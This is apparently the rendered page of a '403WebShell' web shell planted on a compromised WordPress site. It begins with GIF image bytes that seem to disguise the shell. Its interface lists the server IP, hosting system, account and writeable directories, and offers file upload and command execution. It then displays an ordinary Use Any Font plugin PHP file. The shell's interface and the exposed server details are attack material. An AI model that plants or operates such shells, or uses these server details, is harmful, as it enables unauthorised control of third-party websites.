GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 104.21.83.152  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhalid/dangroup.sa/wp-content/plugins/use-any-font/includes/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhalid/dangroup.sa/wp-content/plugins/use-any-font/includes/functions/uaf_font_functions.php
<?php
if ( ! defined( 'ABSPATH' ) ) exit; 
function uaf_count_uploaded_fonts(){
	$count = 0;
	$fontsRawData   = get_option('uaf_font_data');
	if ((!empty($fontsRawData)) && ($fontsRawData != 'null')){
		$fontsData 		= json_decode($fontsRawData, true);	
		$count 			= count($fontsData);
	}
	return $count;
}

function uaf_get_uploaded_font_data(){
	$fontsRawData   = get_option('uaf_font_data');
	return json_decode($fontsRawData, true);
}

function uaf_get_font_families(){
	$fontsData		= uaf_group_fontdata_by_fontname(uaf_get_uploaded_font_data());
	$fonts_uaf		= array();
	if (!empty($fontsData)):
		foreach ($fontsData as $fontName=>$fontData):
			$fonts_uaf[] = $fontName;
		endforeach;
	endif;
	return $fonts_uaf;
}

function uaf_save_font_files($font_name, $font_weight, $font_style, $convertResponse, $predefined_font_id = ''){
	uaf_create_folder(); // CREATE FOLDER IF DOESN"T EXISTS
	$uafPath 				= uaf_path_details();
	$fontNameToStore 		= sanitize_file_name(rand(0,9999).$font_name);
	
	$convertResponseArray = json_decode(stripslashes($convertResponse), true);
	if ($convertResponseArray['global']['status'] == 'ok'):
		$neededFontFormats = array('woff2','woff');
		foreach ($neededFontFormats as $neededFontFormat):
			if ($convertResponseArray[$neededFontFormat]['status'] == 'ok'):
				$fontFileContent = wp_safe_remote_get($convertResponseArray[$neededFontFormat]['filename'], array('timeout'=>'300'));

				if ( is_wp_error( $fontFileContent ) ) {
			        $fontUploadFinalResponse['status']   = 'error';
					$fontUploadFinalResponse['body']	 = $fontFileContent->get_error_message();
					return $fontUploadFinalResponse;
			    }	

			    if ( $fontFileContent['response']['code'] == '200') :			     	
			    	$fontFileContent = wp_remote_retrieve_body( $fontFileContent );
			    	if (!empty($fontFileContent)):
						$newFileName		= $fontNameToStore.'.'.$neededFontFormat;
						$newFilePath		= $uafPath['dir'].$newFileName;
						$fh = fopen($newFilePath, 'w') or die("can't open file. Make sure you have write permission to your upload folder");
						fwrite($fh, $fontFileContent);
						fclose($fh);
					else:
						$fontSaveMsg[$neededFontFormat]['status'] 	= 'error';
						$fontSaveMsg[$neededFontFormat]['body']		= "Couldn't receive $neededFontFormat file";
					endif;
			    else:
			    	$fontSaveMsg[$neededFontFormat]['status'] 	= 'error';
					$fontSaveMsg[$neededFontFormat]['body']		= $neededFontFormat.' : '.$fontFileContent['response']['code'].' '.$fontFileContent['response']['message'];		   
			    endif;
			else:
					$fontSaveMsg[$neededFontFormat]['status'] 	= 'error';
					$fontSaveMsg[$neededFontFormat]['body']		= $convertResponseArray[$neededFontFormat]['msg'];
			endif;
		endforeach;

		if (!empty($fontSaveMsg)):
			$fontUploadFinalResponse['body'] = '';
			foreach ($fontSaveMsg as $formatKey => $formatData):
				if ($fontSaveMsg[$formatKey]['status'] == 'error'):
					$fontUploadFinalResponse['status'] = 'error';
					$fontUploadFinalResponse['body']   .= $formatData['body'].'<br/>';
				endif;
			endforeach;
		else:
			uaf_save_font_entry_to_db($font_name, $font_weight, $font_style, $fontNameToStore, $predefined_font_id);
			$fontUploadFinalResponse['status']   = 'success';
			$fontUploadFinalResponse['body']	 = 'Font Uploaded';
		endif;
	else:
		$fontUploadFinalResponse['status']   = 'error';
		$fontUploadFinalResponse['body']	 = $convertResponseArray['global']['msg'];
	endif;

	return $fontUploadFinalResponse;
}

function uaf_path_details(){
	$uaf_upload 		= wp_upload_dir();
	$uaf_upload_dir		= $uaf_upload['basedir'];
	$uaf_upload_dir 	= $uaf_upload_dir . '/useanyfont/';
	$uaf_upload_url		= $uaf_upload['baseurl'];
	$uaf_upload_url 	= $uaf_upload_url . '/useanyfont/';

	$pathReturn['dir'] 	= $uaf_upload_dir;
	$pathReturn['url'] 	= $uaf_upload_url;
	return $pathReturn;
}

function uaf_create_folder() {
    $uaf_upload_path = uaf_path_details();
    
    if (!is_dir($uaf_upload_path['dir'])) {
        if (!@mkdir($uaf_upload_path['dir'], 0755, true)) { 
            set_transient('uaf_folder_create_error', "Cannot create folder. Please check folder permissions.", 60 * 10);
        }
    }
}

function uaf_save_font_entry_to_db($font_name, $font_weight, $font_style, $font_path, $predefined_font_id = ''){
	$fontsRawData 	= get_option('uaf_font_data');
	$fontsData		= json_decode($fontsRawData, true);
	if (empty($fontsData)):
		$fontsData = array();
	endif;
	
	$fontArrayKey = date('ymdhis');	

	$fontsData[$fontArrayKey]	= array(	
									'font_name' => sanitize_title($font_name), 
									'font_path' => $font_path, 
									'predefined_font_id' => $predefined_font_id
								);

	if (!empty(trim($font_weight))){
		$fontsData[$fontArrayKey]['font_weight']	= sanitize_title($font_weight);
	}
	
	if (!empty(trim($font_style))){
		$fontsData[$fontArrayKey]['font_style']	= sanitize_title($font_style);
	}

	$updateFontData	= json_encode($fontsData);
	update_option('uaf_font_data',$updateFontData);
	uaf_write_css();
}

function uaf_write_css(){
	$uaf_use_absolute_font_path = $GLOBALS['uaf_user_settings']['uaf_use_absolute_font_path']; // Check if user want to use absolute font path.
	
	if (empty($uaf_use_absolute_font_path)){
		$uaf_use_absolute_font_path = 0;
	}
	
	$uaf_upload_path	= uaf_path_details();
	$uaf_upload_dir 	= $uaf_upload_path['dir'];
	$uaf_upload_url 	= $uaf_upload_path['url'];
	
	if ($uaf_use_absolute_font_path == 0){ // If user use relative path
		$url_parts = parse_url($uaf_upload_url);
		$uaf_upload_url = "$url_parts[path]";
	} else {
		if (is_ssl()){
			$uaf_upload_url 	= preg_replace('#^https?:#', 'https:', $uaf_upload_path['url']);
		}
	}

	ob_start();
		$fontsData		= uaf_get_uploaded_font_data();
		if (!empty($fontsData)):
			foreach ($fontsData as $key=>$fontData): ?>
				@font-face {
					font-family: '<?php echo esc_html($fontData['font_name']) ?>';
					src: <?php if (file_exists($uaf_upload_dir.$fontData['font_path'].'.woff2')){ ?>url('<?php echo esc_url($uaf_upload_url.$fontData['font_path']) ?>.woff2') format('woff2'),
						<?php } ?>url('<?php echo esc_url($uaf_upload_url.$fontData['font_path']) ?>.woff') format('woff');
					<?php echo array_key_exists('font_weight',$fontData)?'font-weight: '.esc_html($fontData['font_weight']).';':''; ?> <?php echo array_key_exists('font_style',$fontData)?'font-style: '.esc_html($fontData['font_style']).';':''; ?> font-display: <?php echo esc_html($GLOBALS['uaf_user_settings']['uaf_font_display_property']); ?>;
				}

				.<?php echo esc_html($fontData['font_name']) ?>{font-family: '<?php echo esc_html($fontData['font_name']) ?>' !important;}

		<?php
		endforeach;
		endif;
			
		$fontsImplementRawData 	= get_option('uaf_font_implement');
		$fontsImplementData		= json_decode($fontsImplementRawData, true);
		if (!empty($fontsImplementData)):
			foreach ($fontsImplementData as $key=>$fontImplementData): 
				if (isset($fontImplementData['font_name']) && !empty(trim($fontImplementData['font_name']))){
					$font_name = $fontImplementData['font_name'];
				} else {
					$font_name = $fontsData[$fontImplementData['font_key']]['font_name'];
				}?>
				<?php echo esc_html($fontImplementData['font_elements']); ?>{
					font-family: '<?php echo esc_html($font_name);  ?>' !important;
				}
		<?php
			endforeach;
		endif;	
		$uaf_style = ob_get_contents();
		$uafStyleSheetPath	= $uaf_upload_path['dir'].'/uaf.css';
		if ($fh = @fopen($uafStyleSheetPath, 'w')) { // Suppress warnings and check if file opens
		    fwrite($fh, $uaf_style);
		    fclose($fh);
		} else {
		    set_transient('uaf_css_write_error', "Cannot write to CSS file. Please check file permissions.", 60 * 10); // Store error for 10 minutes
		}
	ob_end_clean();
	
	ob_start();
		$fontsData		= uaf_get_uploaded_font_data();
		if (!empty($fontsData)):
			foreach ($fontsData as $key=>$fontData): ?>
				@font-face {
					font-family: '<?php echo esc_html($fontData['font_name']) ?>';
					src: <?php if (file_exists($uaf_upload_dir.$fontData['font_path'].'.woff2')){ ?>url('<?php echo esc_url($uaf_upload_url.$fontData['font_path']) ?>.woff2') format('woff2'),
						<?php } ?>url('<?php echo esc_url($uaf_upload_url.$fontData['font_path']) ?>.woff') format('woff');
						<?php echo array_key_exists('font_weight',$fontData)?'font-weight: '.esc_html($fontData['font_weight']).';':''; ?> <?php echo array_key_exists('font_style',$fontData)?'font-style: '.esc_html($fontData['font_style']).';':''; ?> font-display: <?php echo esc_html($GLOBALS['uaf_user_settings']['uaf_font_display_property']); ?>;
				}

				.<?php echo esc_html($fontData['font_name']) ?>{font-family: '<?php echo esc_html($fontData['font_name']) ?>' !important;}

				.et_gf_<?php echo esc_html($fontData['font_name']) ?>{background:none !important;font-family:<?php echo esc_html($fontData['font_name']) ?>;text-indent:0 !important;font-size:25px;}

		<?php
		endforeach;
		endif;
		$uaf_style = ob_get_contents();
		$uafStyleSheetPath	= $uaf_upload_path['dir'].'/admin-uaf.css';
		if ($fh = @fopen($uafStyleSheetPath, 'w')) { // Suppress warnings and check if file opens
		    fwrite($fh, $uaf_style);
		    fclose($fh);
		} else {
		    set_transient('uaf_css_write_error', "Cannot write to CSS file. Please check file permissions.", 60 * 10); // Store error for 10 minutes
		}
				
		$uafStyleSheetPath	= $uaf_upload_path['dir'].'/admin-uaf-rtl.css';
		if ($fh = @fopen($uafStyleSheetPath, 'w')) { // Suppress warnings and check if file opens
		    fwrite($fh, $uaf_style);
		    fclose($fh);
		} else {
		    set_transient('uaf_css_write_error', "Cannot write to CSS file. Please check file permissions.", 60 * 10); // Store error for 10 minutes
		}

	ob_end_clean();
	update_option('uaf_css_updated_timestamp', time()); // Time entry for stylesheet version
	update_option('uaf_site_url', base64_encode(site_url()));
	uaf_clear_plugins_cache(); // CLEAN plugin's cache.	

	uaf_block_editor_custom_fonts();
}


function uaf_get_language_selector(){
	$enableMultiLang 	= '';
	$returnSelectHTML 	= '';
	if ($GLOBALS['uaf_user_settings']['uaf_enable_multi_lang_support'] == 1){
		$enableMultiLang = TRUE;
		$supported_multi_lang_plugins = $GLOBALS['uaf_fix_settings']['supported_multi_lang_plugins'];
		foreach ($supported_multi_lang_plugins as $key => $plugin_name) {
			if (is_plugin_active($plugin_name)){
				$active_multi_lang_plugin = $plugin_name;
			}
			//echo $active_multi_lang_plugin;
		}

		if (isset($active_multi_lang_plugin)){			
			switch ($active_multi_lang_plugin) {
				case 'polylang/polylang.php': // WHEN POLYLANG PLUGIN IS ACTIVATED.
						$active_languages = pll_languages_list(array('fields'=>''));
						foreach ($active_languages as $key => $active_language) {
							$lang_select_data[$active_language->w3c] = $active_language->name;
						}
					break;
				case 'polylang-pro/polylang.php': // WHEN POLYLANG PRO PLUGIN IS ACTIVATED.
						$active_languages = pll_languages_list(array('fields'=>''));
						foreach ($active_languages as $key => $active_language) {
							$lang_select_data[$active_language->w3c] = $active_language->name;
						}
					break;
				case 'sitepress-multilingual-cms/sitepress.php': // WHEN WPML PLUGIN IS ACTIVATED.
						$active_languages = icl_get_languages();
						foreach ($active_languages as $key => $active_language) {
							$lang_select_data[str_replace('_', '-',$active_language['default_locale'])] = $active_language['translated_name'].' ('.$active_language["native_name"].')';
						}
					break;
			}

			$returnSelectHTML = '<select style="width:200px;" class="uaf_required" name="language"><option selected="selected" value="">- Select - </option><option value="all_lang">All Languages</option>';
			foreach ($lang_select_data as $locale => $lang_name) {
				//$returnSelectHTML .= '<option value="body.language-'.$locale.'">'.$lang_name.'</option>';
				$returnSelectHTML .= '<option value="html:lang('.esc_attr($locale).')">'.esc_attr($lang_name).'</option>';		
			}
			$returnSelectHTML .= '</select>';
		} else {
			$returnSelectHTML = "You don't have multi lingual plugin active which is supported by Use Any Font.";
		}
	}
	
	
	$return['enableMultiLang'] 	= $enableMultiLang;
	$return['selectHTML'] 		= $returnSelectHTML;
	return $return;
}

function uaf_save_font_assign(){
	$font_key               = sanitize_key($_POST['font_key']);
	
	if (isset($_POST['elements'])) {
		$elements           = array_map('sanitize_text_field', $_POST['elements']);
	} else {
		$elements 			= array();
	}	
	
	$custom_elements		= trim(sanitize_textarea_field($_POST['custom_elements']));

	$fontsData      		= uaf_get_uploaded_font_data();
	$font_name 				= $fontsData[$font_key]['font_name'];
	$fontsImplementRawData 	= get_option('uaf_font_implement');
	$fontsImplementData		= json_decode($fontsImplementRawData, true);

	if (empty($fontsImplementData)):
		$fontsImplementData = array();
	endif;
	
    $fontElements 	= array();
	$fontElements[] = @join(', ',$elements);
	$fontElements[] = @join(', ',array_filter(array_map('trim',explode("\n", $custom_elements))));
	$fontElements 	= array_filter(array_map('trim',$fontElements));
	$finalElements  = join(', ', $fontElements);	
    $finalElements  = uaf_langutizse_elements($finalElements);

	if (!empty($finalElements) && !empty($_POST['font_key'])){
		$fontsImplementData[date('ymdhis')]	= array(
											'font_key' 		=> $font_key,
											'font_name'		=> $font_name,
											'font_elements' => $finalElements
										);
		$updateFontsImplementData		= json_encode($fontsImplementData);
		update_option('uaf_font_implement',$updateFontsImplementData);
		uaf_write_css();
		$return['status']   = 'success';
		$return['body'] 	= 'Font Assigned';
	} else {
		$return['body']   	= "Couldn't assign font. Please select font and atleast one element or add a custom element";
        $return['status']   = "error";
	}
	return $return;
}

function uaf_langutizse_elements($finalElements){
	if (isset($_POST['language']) && ($_POST['language'] != 'all_lang')){
		  $language 		 = sanitize_text_field($_POST['language']);
          $finalElementArray = explode(',', $finalElements);
          $finalElementArray = array_map('trim', $finalElementArray);
          $prefixed_array    = preg_filter('/^/', $language.' ', $finalElementArray);
          $finalElements  = join(', ', $prefixed_array);
    }
    return $finalElements;
}

function uaf_delete_font(){
	$uaf_paths 		= uaf_path_details();

	$fontsData		= uaf_get_uploaded_font_data();
	$key_to_delete	= sanitize_key($_GET['delete_font_key']);
	
	@unlink(realpath($uaf_paths['dir'].$fontsData[$key_to_delete]['font_path'].'.woff2'));
	@unlink(realpath($uaf_paths['dir'].$fontsData[$key_to_delete]['font_path'].'.woff'));
	@unlink(realpath($uaf_paths['dir'].$fontsData[$key_to_delete]['font_path'].'.eot'));
	unset($fontsData[$key_to_delete]);
	$updateFontData	= json_encode($fontsData);
	update_option('uaf_font_data',$updateFontData);
	
	// DELETING FONT ASSIGN AFTER THE FONT IS DELETED. REMOVED DUE TO MULTI VARIATION COMPLICATIONS.
	/*$fontsImplementRawData 	= get_option('uaf_font_implement');
	$fontsImplementData		= json_decode($fontsImplementRawData, true);

	if (!empty($fontsImplementData)){
		foreach ($fontsImplementData as $implement_key => $font_assign_array) {
			if ($key_to_delete == $font_assign_array['font_key']){
				unset($fontsImplementData[$implement_key]);
			}
		}
		$updatefontsImplementData	= json_encode($fontsImplementData);
		update_option('uaf_font_implement',$updatefontsImplementData);
	}*/
	
	$return['status']   = 'success';
	$return['body'] 	= 'Font Deleted';
	uaf_write_css();
	return $return;
}

function uaf_delete_font_assign(){
	$fontsImplementRawData 	= get_option('uaf_font_implement');
	$fontsImplementData		= json_decode($fontsImplementRawData, true);
	$key_to_delete			= sanitize_key($_GET['delete_font_assign_key']);
	unset($fontsImplementData[$key_to_delete]);
	$updateFontsImplementData		= json_encode($fontsImplementData);
	update_option('uaf_font_implement',$updateFontsImplementData);
	uaf_write_css();
	$return['status']   = 'success';
	$return['body'] 	= 'Font assign removed';
	return $return;
}

function uaf_get_uploaded_predefined_fonts(){
	$fontsRawData 	= get_option('uaf_font_data');
	$fontsData		= json_decode($fontsRawData, true);
	$predefindFonts = array();
	if (!empty($fontsData)){
		foreach ($fontsData as $fontKey => $fontData) {
			if (isset($fontData['predefined_font_id']) && !empty(trim($fontData['predefined_font_id']))){
				$predefindFonts[] = $fontData['predefined_font_id'];	
			}			
		}
	}
	return $predefindFonts;
}

function uaf_add_pre_defined_font($fontId){
	$url 		= $GLOBALS['uaf_user_settings']['uaf_server_url']. '/uaf_convertor/import_predefine_font.php';
	$response 	= wp_remote_post( $url, array(
									    'method'      => 'POST',
									    'redirection' => 5,
									    'httpversion' => '1.0',
									    'timeout'	  => 10000,	
									    'body'        => array(
													        'api_key' 		=> $GLOBALS['uaf_user_settings']['uaf_api_key'],
													        'url'	 		=> base64_decode($GLOBALS['uaf_user_settings']['uaf_activated_url']),
													        'font_count' 	=> uaf_count_uploaded_fonts(),
													        'font_id'		=> $fontId
									    				 )
										)
			);
	if ( is_wp_error( $response ) ) {
	    $error_message = $response->get_error_message();
	    $return['status']    = 'error';		
		$return['body'] 	 = "Something went wrong: $error_message";
	} else {
	   	$responseArray = json_decode($response['body'], true);
		if ($responseArray['global']['status'] == 'error'):
			$return['status']    = 'error';
			$return['body']   	 = $responseArray['global']['msg'];
		else:
			$return = uaf_save_font_files($responseArray['global']['font_name'], '', '', $response['body'], $fontId);
		endif;
	}
	return $return;
}


function uaf_group_fontdata_by_fontname($fontDatas){
	$returnArray = array();
    if (!empty($fontDatas)){
    	foreach($fontDatas as $key => $value){
	       $returnArray[$value['font_name']][$key] = $value;
	    }	
    }    
    return $returnArray;
}

function uaf_order_font_by_weight($a, $b) {
      if (array_key_exists("font_weight", $a) && array_key_exists("font_weight", $b)) {
      	return strcmp($a["font_weight"], $b["font_weight"]);
  	  } else {
  	  	return 0;
  	  }
}

function uaf_css_write_error() {
    $error_message = get_transient('uaf_css_write_error');
    if ($error_message) {
        echo '<div class="notice notice-error is-dismissible">
                <p><strong>Use Any Font Error:</strong> ' . esc_html($error_message) . '</p>
              </div>';
        delete_transient('uaf_css_write_error'); // Remove the error after displaying
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit